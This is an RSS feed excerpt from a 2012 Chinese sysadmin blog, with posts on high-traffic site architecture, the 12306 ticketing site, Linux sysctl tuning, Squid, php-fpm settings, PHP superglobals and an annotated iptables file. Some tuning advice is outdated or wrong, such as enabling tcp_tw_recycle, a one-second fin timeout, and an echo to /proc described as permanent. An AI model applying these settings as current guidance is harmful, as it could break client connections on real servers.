3.荆门网站竞争分析，本地站分为四类，一种以DISCUZ为核心，以荆门社区和荆门帮帮网为带着的社区型站点，一类为像荆门在线走的分类信息站，一种是以荆门新闻网及中国荆门政府网这类新闻媒体站,还有一种像房信网这样的房产网站
4.荆门的站长及技术，四个字：不敢恭维
5.荆门的网络环境，个人认为不论是网监部门还是站长，网监部门力度不大，可能跟技术人力等原因有关，99%网站为个人运营，无监管力度，社会责任感不强。
6.忽悠，可能说每个地方都会有，但是我个人在这个环境中明显感觉荆门的站长、销售都太会忽悠了

暂时就这些吧.现在加紧整自己的.任其道行之吧.]]></description>
			<link>http://www.lvtao.net/html/1838.html</link>
			<pubDate>2012-02-12, 19:10:07</pubDate>
		</item>
		<item>
			<title>千万级pv高性能高并发网站架构一例</title>
			<author>memory</author>
			<description><![CDATA[一个支撑千万级PV的网站是非常考验一个架构是否成熟、健壮(本文不涉及软件架构的层面，有兴趣也可以讨论)。现抛出一个系统层面的架构，不保证是最优的方案，但也许适合你。理由是再优秀的架构都不具备通用性，需要根据每种应用特点针对性来设计。希望起到抛砖引玉的作用，大家多多参与，发表意见。
[img]/upload/files/20120212/2012070036-yFyziIEhKy.gif[/img]
架构说明：
1）架构中直接引入软件名称的模块，是个人推荐使用的，如Haproxy、Hadoop等；
2）关于全局负载均衡，看成本投入情况，可以使用商业的产品，如F5-GTM，开源方案便是自搭智能DNS；
3）本地负载均衡方案，可以考虑F5-LTM或成熟的开源解决方案LVS；
4）代理层为什么推荐大家使用Haproxy？Haproxy是一个非常优秀的反向代理软件，十分高效、稳定。国内top 10的互联网公司都有在使用；
5）缓存层可以使用Squid或Varnish，个人更倾向Varnish。配置灵活、运行稳定，提供非常便利的管理接口。为啥在缓存层前面加一层代理？优点非常多，列举如下：

    根据应用配置URI路由规则，集中热点来提高后端缓存的命中率；
    轻松划分网站频道、版块，更好对应用进步组织、规划；
    对URI进行一般性安全过滤，抵御注入攻击；
    弹性调配硬件资源，应对突发事件产生大流量；
    可回收宝贵的公网IP资源；


6）应用层开源技术方案非常多且成熟，在此不详细描述；
7）数据库层主流开源解决方案Mysql是首选，主从复制（一主对多从）是目前比较靠谱的模式；
8）关于Nosql，应用场景不多说，可参考“给部门做的Mongodb技术交流PPT”文章，redis、memcached等作为热点数据存储、数据库缓存都非常理想；
9）内网DNS扮演的角色非常重要，一定要消灭code中出现的内网IP地址，很大程度减少因IP变更、服务器故障而修改源码的情况，同时也便于维护；
10）内网LB适用在内部WEB接口、多台数据库Slave、多台Nosql Slave、公共服务等应用的负载均衡，可以使用LVS、Haproxy来实现，可用性要求不高的应用可行直接使用Localhost DNS轮询；
11）hadoop适合海量数据的存储与处理，如做网站日志分析、用户数据挖掘等；
12）管理集群，平台的核心，运维的阵地；
以上粗略介绍了架构的几个组成部分，如大家有对哪块有疑问或感兴趣都可以展开来讨论]]></description>
			<link>http://www.lvtao.net/html/1837.html</link>
			<pubDate>2012-02-12, 19:00:58</pubDate>
		</item>
		<item>
			<title>腾讯架构师刘天斯谈12306网站架构之如何构建高并发高性能网站</title>
			<author>memory</author>
			<description><![CDATA[刘天斯，目前就职于腾讯-架构平台部，曾就职于天涯社区，担任架构师/系统管理员，热衷开源技术的研究，包括系统架构、运维开发、负载均衡、缓存技术、数据库、分布式存储及云计算机等领域，擅长大规模集群的运维工作。关注互联网技术发展动向。
2012年的春运潮造就了中国铁路客户服务中心12306网络购票系统一夜蹿红，从传统购票方式到电子商务，2012年1月1日开通的12306网络购票系统成为了铁道部改革的重要一步。
　　但是随着12306系统的上线，各种关于12306系统的抱怨声也层出不穷，不少人抱怨网上订票系统十分“龟速” 网络运行奇慢，网页不时“崩溃”，平均刷新500次才能购到一张票，而且订票过程十分繁琐，从用户注册到支付成功，要13道“工序”，让人晕头转向等等。
　　本来为了让每个归家的人更方便地买到火车票，而12306网上订票系统这个号称斥数千万元巨资建立的电商的表现却难以让人信服，并引发了一些讨论和思考，应该如何建设类似12306网上订票系统这种大型高并发高性能网站呢?IT168记者采访了腾讯架构平台部刘天斯，对于大型高并发高性能网站的建设和优化，他给出了自己的建议。

　　12306订票网站存在哪些需求特点和挑战？
　　12306订票网站具有分时段、分区域、高并发等特点，如何确保在高峰时段正常提供服务是一个非常大的挑战，放眼春运期间网上订票系统，表现为页面访问延时大、登录异常、支付失败等问题。这其中存在一定客观因素，也不排除对流量预估不准确、架构设计不合理等情况。官方公布日均PV达10亿，在高峰时段有千万PV的访问量，应对如此高的流量需要从带宽、服务器、网络、应用及业务逻辑等进行优化。

　　国内的大型网站还包括淘宝、京东、新浪等，12306的访问模式和淘宝、京东存在哪些异同？
　　相同点都可以理解成电子商务网站，无论是业务逻辑还是应用特点都非常相似，唯一的差别是12306的流量因时段、区域更为集中，有人说像淘宝、京东搞促销，比如”秒杀”。但”秒杀”的对象往往比较固定，后端可以通过缓存机制或静态化来缓解数据库I/O压力，而12306需要每隔10分钟更新票务信息，同时还要保持与集团其它业务系统对接，这点处理起来更为棘手。

　　淘宝、TMall、京东也曾经遭遇宕机事件，这些宕机事件和12306网站崩溃有何异同？
　　此类宕机事件原因都是相似的，无非是宽带吃紧或服务器性能出现瓶颈(应用故障、高I/O或业务逻辑异常等)。差异点只有体现在业务层面上，促销活动可以推迟或重新组织，但12306订票系统不行。反之，12306有其它辅助的补救、缓解方案，如电话预定、代售点等，传统的电子商务平台则没有。

　　12306订票网站在哪些方面可能存在问题？在以上谈到的问题上是否都有一些相应的优化建议呢？
　　个人认为更有价值是体现在数据分析上，如得到宽带数据、用户流量、区域分布、请求特点、应用瓶颈点、服务器的性能指标等等，这些数据对优化、改良现有架构非常有帮助。抛开宽带因素，以下是对12306平台系统架构的几点建议：

　　一、前端优化
　　具体参考：yahoo前端优化34条规则，针对12306平台，个人建议在没有多运营商链路接入(如BGP)的情况下继续使用CDN进行加速。动、静态应用分离，静态业务使用非12306.cn域名可以减少无用cookie带来的流量。任何一个小细节在高并发下都会被无限放大(截止目前发现平台还是以dynamic.12306.cn域名做静态引用)。查询页面的结果是通过Ajax异步返回填充iframe框架来实现，这对动态CDN加速是一个挑战，因为CDN节点并没有真正缓存页面中主要加速的内容。另外提高验证码的复杂度及多样性，可以缓解刷票机给平台带来的压力。

　　二、运用缓存
　　缓存最大的好处是减少后端数据存储的I/O压力，从一个普通用户订票轨迹来看，查询读往往是入库写的好几倍，如何减少数据库的读I/O对提高平台的整体性能至关重要，比较流行的缓存技术有针对页面及数据级，页面级缓存有varnish、squid等，如使用CDN，页面级的缓存可以不用考虑，重点将精力放在数据级的缓存规划上，技术方面可以用Nosql来实现，比较成熟的Nosql有memcached、redis、mongodb等。可以根据班次、出发与目的地ID组合或出发日期进行hash分区，这样可以很好地提高缓存命中率，减少后端数据库的压力。

　　三、代理层
　　引入代理层的目的是拆分业务，目前平台绝大部分功能都共用一组WEB服务器(从域名及URI结构猜测，不一定准确)来对外提供服务，比如登录、注册、车票查询、余票查询、列车时刻表查询、正晚点查询、订单管理等等，只要其中一个功能模块出现堵塞，影响必定是全局性的。一个好的方法是优化、规范各业务URI，在代理层实现业务的划分，可用的技术有Haproxy、Nginx等，如将/otsweb/regitNote/映射到注册组WEB服务器，/otsweb/AppQuery/映射到查询组WEB服务器，/otsweb/Pay/映射到支付组WEB服务器等等，如此一来，当查询业务出现延时堵塞时不会影响到用户支付。

　　四、数据库层
　　之前接触过一些政府行业的业务，数据库服务器往往都使用一台高端的硬件，比如小型机，在互联网行业，尤其是类似于12306订票系统，这往往是最致命的，理由很简单，在大流量并发下处理能力再强的服务器也吐不出数据，因为受网络I/O、磁盘I/O、业务逻辑等方面的限制，所以必须将数据打散，方案有进行读写分离、分区、分片。主从模式可以很好实现读写分离，大部分数据库都支持这点，除此之外还建议使用分区模式，分区策略可以根据业务特点进行，按地域进行分区是一个好主意，因为每个区域都是一个大分区，还可以从业务层面对它做二级甚至三级的"扩展分区"。需要在细化拆分与运营成本上做好平衡。另外I/O密集的点尽量使用SSD代替。

　　五、负载均衡层
　　保障一个业务平台的高可用性，采用负载均衡策略必不可少，即使是提供给CDN的源服务器。目前有商用的F5、NetScaler、Radware等，也有开源的LVS，看成本的投入来选择，此处不详细展开讨论。

　　六、业务层
　　此次12306网站瘫痪事件，业务层面有无优化的空间?12306网站平台是铁道集团在互联网上对外服务的窗口，与电话订票、代售点都是平级的，后端肯定还关联着很多复杂的业务系统，在没有对整个集团业务系统做扩容的前提下(短期内估计不能实现)，可以将网站业务平台剥离出来，当然，完全剥离也不太实际，至少可以延长同步、一致性校验的时间。时间的长短随班次的发车时间成正比，因为大部分的用户都是提前一周以上就着手预定车票。

　　从百万级、到千万级并发PV的网站，在构架和部署方面会存在哪些差异?
　　百万PV到千万是一个级别的提升，设计得再好的架构也很难一步到位，也是随着业务的高速增长，不断积累经验、优化、改良的过程。12306的流量达到千万PV 级，但平台的支撑能力远远没有达到预期。

　　一个大型的高并发高性能网站架构需要从哪些层面去考虑?服务器/存储部署方面需要注意哪些问题?哪些技术能够保证整体系统的高并发与高性能?
　　设计一个大型高并发网站的架构，首先必须以了解业务特点作为出发点,架构的目的是支撑业务，需要考虑互联互通、负载均衡、网络、开发、缓存、存储、数据库等层面，这些层面看似一个整体，任何一个环节出问题都可能导致整个网站崩溃，所以一个高可用、高并发的平台还少不了监控、开发、运维等角色通力协作。

　　部署大型的高并发高性能网站架构需要注意哪些问题?存在哪些挑战?高峰期和低谷期的资源和投入如何平衡?
　　部署大型的高并发高性能网站架构需要注意整体的扩展性与健壮性，解决未来海量数据的存储与处理、密集的数据I/O、互联互通、应用的不断迭代、重构以及缓存机制等问题，对于考验一个成功的架构提出了更高的要求，也是未来面临最大的挑战。对于平衡高峰期和低谷期的资源投入，我想云计算的伸缩性更适合解决该问题。

　　有人建议使用云计算平台(类似于Amazon之类的)来搭建这类网站，以便提高资源利用率节省成本，您是如何看待的?
　　云计算是未来一个趋势，优点不多说，它具有动态伸缩、灵活性强等特点，可以让资源利用最大化，可以更好节约成本，非常适用于12306平台。

　　虚拟化(不局限于服务器虚拟化，也可以包括网络虚拟化等)在这类型大型高并发网站建设过程中可以起到什么作用?
　　虚拟化是云计算的基石，可以降低企业运营成本，提高资源利用率，个人建议将一些运算量及I/O要求不高的业务迁移到虚拟化，比如web、缓存、代理、中间件服务等应用。在低流量时段可以销毁节点，使物理实体机处于低功耗状态下运行，绿色环保，高峰来临时可以迅速部署上线来提供服务。]]></description>
			<link>http://www.lvtao.net/html/1836.html</link>
			<pubDate>2012-02-12, 18:58:48</pubDate>
		</item>
		<item>
			<title>Linux sysctl.conf 优化方案</title>
			<author>memory</author>
			<description><![CDATA[在服务器安装了LNMP(Linux+Nginx+Mysql+php)环境之后Linux服务器参数必须做必要的优化，包括网络参数优化、文件数优化、内存优化等等。

1、网络参数优化：

这部分主要参照张宴大师 《Nginx 0.8.x + PHP 5.2.13（FastCGI）搭建胜过Apache十倍的Web服务器（第6版）[原创]》其中 五、优化Linux内核参数的内容：

vi /etc/sysctl.conf #编辑sysctl.conf文件
#在/etc/sysctl.conf中添加如下内容
# 网络参数优化开始
net.ipv4.tcp_max_syn_backlog = 65536
net.core.netdev_max_backlog =  32768
net.core.somaxconn = 32768

net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216

net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_synack_retries = 2
net.ipv4.tcp_syn_retries = 2

net.ipv4.tcp_tw_recycle = 1
#net.ipv4.tcp_tw_len = 1
net.ipv4.tcp_tw_reuse = 1

net.ipv4.tcp_mem = 94500000 915000000 927000000
net.ipv4.tcp_max_orphans = 3276800

#net.ipv4.tcp_fin_timeout = 30
#net.ipv4.tcp_keepalive_time = 120
net.ipv4.ip_local_port_range = 1024  65535
#网络参数优化结束
#添加内容结束


修改完成后运行以下命令使参数生效：
/sbin/sysctl -p


2、系统最大打开文件数优化
默认情况下，系统允许最大打开文件数为1024个，这对于访问量较大的web服务器来说远远不够用。系统最大打开文件数可以通过ulimit来修改和查询。
一般情况下，可以通过ulimit -n来查看目前系统允许的最大打开文件数，例如 ：
ulimit -n
1024 #系统返回


如果我们要修改系统允许最大文件打开数，可以通过ulimit -SHn来做，例如要临时修改系统最大打开文件数为51201个，那么用如下命令：
ulimit -SHn 51201

每次重启系统时，该值会被自动还原，可以将上述命令写入 /etc/rc.local 中。如果想永久更改，可以按照如下修改：
vi /etc/security/limits.conf  
# add
* soft nofile 51201
* hard nofile 51201


系统最大打开文件数影响到的配置文件(以下必须设置为系统设置相一致，例如设置系统最大打开文件数为：51201)：
A、Nginx配置文件nginx.conf的配置项：worker_rlimit_nofile、worker_connections、open_file_cache等，例如设置为：
  worker_rlimit_nofile 51201;
  events
  {
    use epoll;
    worker_connections 51201;
  }
  http
  {
    #其它参数略过
    open_file_cache max=51201 inactive=20s;  
    open_file_cache_min_uses 1;  
    open_file_cache_valid 30s;
    #其它参数略过
  }
B、FastCGI配置文件php-fpm.conf的配置项
   51201

3、系统共享内存优化：

系统共享内存大小主要影响到eaccelerator的设置：
eaccelerator.shm_size="32"

该项为eaccelerator可使用的共享内存大小(单位为MB)设置。
在Linux下，单个进程的最大共享内存使用量受/proc/sys/kernel/shmmax中设置的数字限制(单位为字节)，例如Redhat 4.7的shmmax默认值为33554432字节(33554432bytes/1024/1024=32MB)。
临时更改该值(例如修改为128MB=128x1024x1024=134217728字节)：

echo 134217728 > /proc/sys/kernel/shmmax
echo 134217728 > /proc/sys/kernel/shmall

按照以上方法更改，在每次重启系统时，该值会被自动还原。如果想永久更改，可以修改/etc/sysctl.conf文件，设置：
#系统共享内存大小优化
kernel.shmmax = 134217728

完整的/etc/sysctl.conf修改添加内容如下：
#在/etc/sysctl.conf中添加如下内容
# 网络参数优化开始
net.ipv4.tcp_max_syn_backlog = 65536
net.core.netdev_max_backlog =  32768
net.core.somaxconn = 32768

net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216

net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_synack_retries = 2
net.ipv4.tcp_syn_retries = 2

net.ipv4.tcp_tw_recycle = 1
#net.ipv4.tcp_tw_len = 1
net.ipv4.tcp_tw_reuse = 1

net.ipv4.tcp_mem = 94500000 915000000 927000000
net.ipv4.tcp_max_orphans = 3276800

#net.ipv4.tcp_fin_timeout = 30
#net.ipv4.tcp_keepalive_time = 120
net.ipv4.ip_local_port_range = 1024  65535
#网络参数优化结束
#系统共享内存大小优化开始
kernel.shmmax = 134217728
#系统共享内存大小优化结束
#添加内容结束

修改完成后运行以下命令使参数生效
/sbin/sysctl -p
以上，如有不足，欢迎大家指正和追加，谢谢！







高负载linux服务器的内核调优
vi /etc/sysctl.conf,修改内核参数：
kernel.shmall = 268435456
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_keepalive_time = 1200
net.ipv4.ip_local_port_range = 1024 65000
net.ipv4.tcp_max_tw_buckets = 5000
net.ipv4.tcp_max_tw_buckets = 5000
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_keepalive_time = 300
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.ip_local_port_range = 5000 65000
net.ipv4.tcp_mem = 786432 1048576 1572864
net.core.wmem_max = 873200
net.core.rmem_max = 873200
net.ipv4.tcp_wmem = 8192 436600 873200
net.ipv4.tcp_rmem = 32768 436600 873200
net.core.somaxconn = 256
net.core.netdev_max_backlog = 1000
net.ipv4.tcp_max_syn_backlog = 2048
net.ipv4.tcp_retries2 = 5
net.ipv4.tcp_keepalive_time = 500
net.ipv4.tcp_keepalive_intvl = 30
net.ipv4.tcp_keepalive_probes = 3
net.ipv4.conf.lo.arp_ignore = 0
net.ipv4.conf.lo.arp_announce = 0
net.ipv4.conf.all.arp_ignore = 0
net.ipv4.conf.all.arp_announce = 0

几个解释：
net.ipv4.tcp_syncookies = 1
#表示开启SYN Cookies。当出现SYN等待队列溢出时，启用cookies来处理，可防范少量SYN攻击，默认为0，表示关闭；
net.ipv4.tcp_tw_reuse = 1
#表示开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接，默认为0，表示关闭；
net.ipv4.tcp_tw_recycle = 1
#表示开启TCP连接中TIME-WAIT sockets的快速回收，默认为0，表示关闭。
net.ipv4.tcp_fin_timeout = 30
#表示如果套接字由本端要求关闭，这个参数决定了它保持在FIN-WAIT-2状态的时间。
net.ipv4.tcp_keepalive_time = 1200
#表示当keepalive起用的时候，TCP发送keepalive消息的频度。缺省是2小时，改为20分钟。
net.ipv4.ip_local_port_range = 1024    65000
#表示用于向外连接的端口范围。缺省情况下很小：32768到61000，改为1024到65000。
net.ipv4.tcp_max_tw_buckets = 5000
#表示系统同时保持TIME_WAIT套接字的最大数量，如果超过这个数字，
#TIME_WAIT套接字将立刻被清除并打印警告信息。默认为180000，改为5000。
#对于Apache、Nginx等服务器，上几行的参数可以很好地减少TIME_WAIT套接字数量，
#但是对于Squid，效果却不大。此项参数可以控制TIME_WAIT套接字的最大数量，避免Squid服务器被大量的TIME_WAIT套接字拖死

完整的内核优化配置：

net.ipv4.tcp_max_tw_buckets = 6000
net.ipv4.tcp_sack = 1
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_rmem = 4096 87380 4194304
net.ipv4.tcp_wmem = 4096 16384 4194304
net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.core.netdev_max_backlog = 262144
net.core.somaxconn = 262144
net.ipv4.tcp_max_orphans = 3276800
net.ipv4.tcp_max_syn_backlog = 262144
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_syn_retries = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_mem = 94500000 915000000 927000000
net.ipv4.tcp_fin_timeout = 1
net.ipv4.tcp_keepalive_time = 30
net.ipv4.ip_local_port_range = 1024 65000

~]# sysctl -p
net.ipv4.ip_forward = 0
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.default.accept_source_route = 0
kernel.sysrq = 0
kernel.core_uses_pid = 1
net.ipv4.tcp_syncookies = 1
kernel.msgmnb = 65536
kernel.msgmax = 65536
kernel.shmmax = 4294967295
kernel.shmall = 268435456
kernel.sem = 250        32000   100     128
fs.file-max = 65535
net.ipv4.ip_local_port_range = 1024     65535
net.core.wmem_max = 262144
net.core.wmem_default = 262144
net.core.rmem_default = 262144
net.core.rmem_max = 262144

修改/etc/sysctl.conf， /sbin/sysctl -p立即生效
永久修改内核参数： echo “10″ > /proc/sys/net/ipv4/tcp_fin_timeout

各种参数的意思：http://ipsysctl-tutorial.frozentux.net/ipsysctl-tutorial.html
还参考了：http://trac.lighttpd.net/trac/wiki/Docs%3APerformance#platform-specific-notes

net.ipv4.tcp_fin_timeout = 10
net.ipv4.tcp_keepalive_time = 300
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
#tcp port range
net.ipv4.ip_local_port_range = 4096 65000
#tcp send buffer. min, default , and max
net.ipv4.tcp_wmem = 4096 65536 16777216
#tcp reservie buffer.
#net.ipv4.tcp_rmem = 4096 65536 16777216]]></description>
			<link>http://www.lvtao.net/html/1835.html</link>
			<pubDate>2012-02-12, 13:07:32</pubDate>
		</item>
		<item>
			<title>squid2.7 缓存500 等错误页面的解决方法</title>
			<author>memory</author>
			<description><![CDATA[squid2.7 默认会将 后端返回的错误页面缓存一段时间，这样就会导致就算修复后端程序的错误，但是还会在一段时间内返回给用户出错的页面，解决办法很简单，在squid配置文件中加入以下指令

negative_ttl 0 seconds]]></description>
			<link>http://www.lvtao.net/html/1834.html</link>
			<pubDate>2012-02-12, 12:58:13</pubDate>
		</item>
		<item>
			<title>php-fpm.conf各参数含义</title>
			<author>memory</author>
			<description><![CDATA[运行时配置
FPM 配置文件为php-fpm.conf，其语法类似 php.ini 。

php-fpm.conf 全局配置段

pid string
PID文件的位置. 默认为空.

error_log string
错误日志的位置. 默认： 安装路径#INSTALL_PREFIX#/log/php-fpm.log.

log_level string
错误级别. 可用级别为: alert（必须立即处理）, error（错误情况）, warning（警告情况）, notice（一般重要信息）, debug（调试信息）. 默认: notice.

emergency_restart_threshold int
如果子进程在emergency_restart_interval设定的时间内收到该参数设定次数的SIGSEGV 或者 SIGBUS退出信息号，则FPM会重新启动。 0 表示 ‘关闭该功能’. 默认值: 0 (关闭).

emergency_restart_interval mixed
emergency_restart_interval用于设定平滑重启的间隔时间. 这么做有助于解决加速器中共享内存的使用问题. 可用单位: s(秒), m(分), h(小时), 或者 d(天). 默认单位： s(秒). 默认值: 0 (关闭).

process_control_timeout mixed
设置子进程接受主进程复用信号的超时时间. 可用单位: s(秒), m(分), h(小时), 或者 d(天) 默认单位: s(秒). 默认值: 0.

daemonize boolean
设置FPM在后台运行. 设置 ‘no’ 将 FPM 保持在前台运行用于调试. 默认值: yes.

运行配置区段

在FPM中，可以使用不同的设置来运行多个进程池。 这些设置可以针对每个进程池单独设置。

listen string
设置接受FastCGI请求的地址. 可用格式为: ‘ip:port’, ‘port’, ‘/path/to/unix/socket’. 每个进程池都需要设置.

listen.backlog int
设置 listen(2) 的半连接队列长度. ‘-1′ 表示无限制. 默认值: -1.

listen.allowed_clients string
设置允许连接到FastCGI的服务器IPV4地址. 等同于PHP FastCGI (5.2.2+)中的 FCGI_WEB_SERVER_ADDRS环境变量. 仅对TCP监听起作用. 每个地址是用逗号分隔. 如果没有设置或者为空，则允许任何服务器请求连接. 默认值: any.

listen.owner string
如果使用，表示设置Unix套接字的权限. 在Linux中，读写权限必须设置，以便用于WEB服务器连接. 在很多BSD派生的系统中可以忽略权限允许自由连接. 默认值: 运行所使用的用户合租, 权限为0666.

listen.group string
参见 listen.owner.

listen.mode string
参见 listen.owner.

user string
FPM 进程运行的Unix用户. 必须设置.

group string
FPM 进程运行的Unix用户组. 如果没有设置，则默认用户的组被使用.

pm string
设置进程管理器如何管理子进程. 可用值: static, dynamic. 必须设置.

static – 子进程的数量是固定的 (pm.max_children).

dynamic – 子进程的数量在下面配置的基础上动态设置: pm.max_children, pm.start_servers, pm.min_spare_servers, pm.max_spare_servers.

pm.max_children int
子进程的数量，pm 设置为 static 时表示创建的， pm 设置为 dynamic 时表示最大可创建的. 必须设置.

该选项设置可以同时提供服务的请求数限制. 类似 Apache 的 mpm_prefork 中 MaxClients 的设置和 普通PHP FastCGI中的 PHP_FCGI_CHILDREN 环境变量.

pm.start_servers in
设置启动时创建的子进程数目. 仅在 pm 设置为 dynamic 时使用. 默认值: min_spare_servers + (max_spare_servers – min_spare_servers) / 2.

pm.min_spare_servers int
设置空闲服务进程的最低数目. 仅在 pm 设置为 dynamic 时使用. 必须设置.

pm.max_spare_servers int
设置空闲服务进程的最大数目. 仅在 pm 设置为 dynamic 时使用. 必须设置.

pm.max_requests int
设置每个子进程重生之前服务的请求数. 对于可能存在内存泄漏的第三方模块来说是非常有用的. 如果设置为 ’0′ 则一直接受请求. 等同于 PHP_FCGI_MAX_REQUESTS 环境变量. 默认值: 0.

pm.status_path string
FPM状态页面的网址. 如果没有设置, 则无法访问状态页面. 默认值: none.

ping.path string
FPM监控页面的ping网址. 如果没有设置, 则无法访问ping页面. 该页面用于外部检测FPM是否存活并且可以响应请求. 请注意必须以斜线开头 (/).

ping.response string
用于定义ping请求的返回相应. 返回为 HTTP 200 的 text/plain 格式文本. 默认值: pong.

request_terminate_timeout mixed
设置单个请求的超时中止时间. 该选项可能会对php.ini设置中的’max_execution_time’因为某些特殊原因没有中止运行的脚本有用. 设置为 ’0′ 表示 ‘Off’. Available units: s(econds)(default), m(inutes), h(ours), or d(ays). Default value: 0.

request_slowlog_timeout mixed
当一个请求该设置的超时时间后，就会将对应的PHP调用堆栈信息完整写入到慢日志中. 设置为 ’0′ 表示 ‘Off’. 可用单位: s(秒)(默认), m(分), h(小时), 或者 d(天). 默认值: 0.

slowlog string
慢请求的记录日志. 默认值: #INSTALL_PREFIX#/log/php-fpm.log.slow.

rlimit_files int
设置文件打开描述符的rlimit限制. 默认值: 系统定义值.

rlimit_core int
设置核心rlimit最大限制值. 可用值: ‘unlimited’ 、0或者正整数. 默认值: 系统定义值.

chroot string
启动时的Chroot目录. 所定义的目录需要是绝对路径. 如果没有设置, 则chroot不被使用.

chdir string
设置启动目录，启动时会自动Chdir到该目录. 所定义的目录需要是绝对路径. 默认值: 当前目录，或者/目录（chroot时）.

catch_workers_output boolean
重定向运行过程中的stdout和stderr到主要的错误日志文件中. 如果没有设置, stdout 和 stderr 将会根据FastCGI的规则被重定向到 /dev/null . 默认值: 空.

你还可以在为一个运行池传递附加的环境变量，或者更新PHP的配置值. 你可以在 php-fpm.conf 中下如下面的配置参数来做到：

Example #1 给运行池传递环境变量和设置PHP的配置值
env[HOSTNAME] = $HOSTNAME
env[PATH] = /usr/local/bin:/usr/bin:/bin
env[TMP] = /tmp
env[TMPDIR] = /tmp
env[TEMP] = /tmp

php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f www@my.domain.com
php_flag[display_errors] = off
php_admin_value[error_log] = /var/log/fpm-php.www.log
php_admin_flag[log_errors] = on
php_admin_value[memory_limit] = 32M
PHP配置值通过 php_value 或者 php_flag 设置，并且会覆盖以前的值. 请注意 disable_functions 或者 disable_classes 在 php.ini 之中定义的值不会被覆盖掉, 但是会将新的设置附加在原有值的后面.
使用 php_admin_value 或者 php_admin_flag 定义的值，不能被PHP代码中的 ini_set() 覆盖.]]></description>
			<link>http://www.lvtao.net/html/1833.html</link>
			<pubDate>2012-02-12, 12:56:47</pubDate>
		</item>
		<item>
			<title>什么是超全局变量?PHP中有哪些是超全局变量</title>
			<author>memory</author>
			<description><![CDATA[超全局变量 — 超全局变量是在全部作用域中始终可用的内置变量
PHP 中的许多预定义变量都是“超全局的”，这意味着它们在一个脚本的全部作用域中都可用。在函数或方法中无需执行 global $variable; 就可以访问它们。
这些超全局变量是：
    $GLOBALS
    $_SERVER
    $_GET
    $_POST
    $_FILES
    $_COOKIE
    $_SESSION
    $_REQUEST
    $_ENV]]></description>
			<link>http://www.lvtao.net/html/1832.html</link>
			<pubDate>2012-02-12, 12:13:20</pubDate>
		</item>
		<item>
			<title>Liunx防火墙/etc/sysconfig/iptables 详解</title>
			<author>memory</author>
			<description><![CDATA[#头两行是注释说明
# Firewall configuration written by system-config-securitylevel
# Manual customization of this file is not recommended.
#使用filter表
*filter
#下面四条内容定义了内建的INPUT、FORWAARD、ACCEPT链，还创建了一个被称为RH-Firewall-1-INPUT 的新链
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:RH-Firewall-1-INPUT - [0:0]
#将所有流入的数据写入到日志文件中
-A INPUT -j LOG --log-level crit
#下面这条规则将添加到INPUT链上，所有发往INPUT链上的数据包将跳转到RH-Firewall-1 //链上。
-A INPUT -j RH-Firewall-1-INPUT
#下面这条规则将添加到FORWARD链上，所有发往INPUT链上的数据包将跳转到RH-Firewall-1 //链上。
-A FORWARD -j RH-Firewall-1-INPUT
#下面这条规则将被添加到RH-Firewall-1-input链。它可以匹配所有的数据包，其中流入接口（-i）//是一个环路接口(lo)。
#匹配这条规则的数据包将全部通过（ACCEPT），不会再使用别的规则来和它们进行比较
-A RH-Firewall-1-INPUT -i lo -j ACCEPT
#下面这条规则是拒绝所以的icmp包-p 后是协议如：icmp、tcp、udp。端口是在-p后面--sport源端口，--dport目的端口。-j 指定数据包发送的
#目的地址如：ACCEPT、DROP、QUEUE等等
-A RH-Firewall-1-INPUT -p icmp --icmp-type any -j DROP
-A RH-Firewall-1-INPUT -p 50 -j ACCEPT
-A RH-Firewall-1-INPUT -p 51 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp --dport 5353 -d 224.0.0.251 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
#-m state --state ESTABLISHED,RELATED这个条件表示所有处于ESTABLISHED或者
RELATED状态的包，策略都是接受的。
# -m state --state NEW 这个条件是当connection的状态为初始连接(NEW)时候的策略。
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 2049 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 137 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 138 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 139 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 445 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 23 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j DROP -s 222.221.7.84
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT
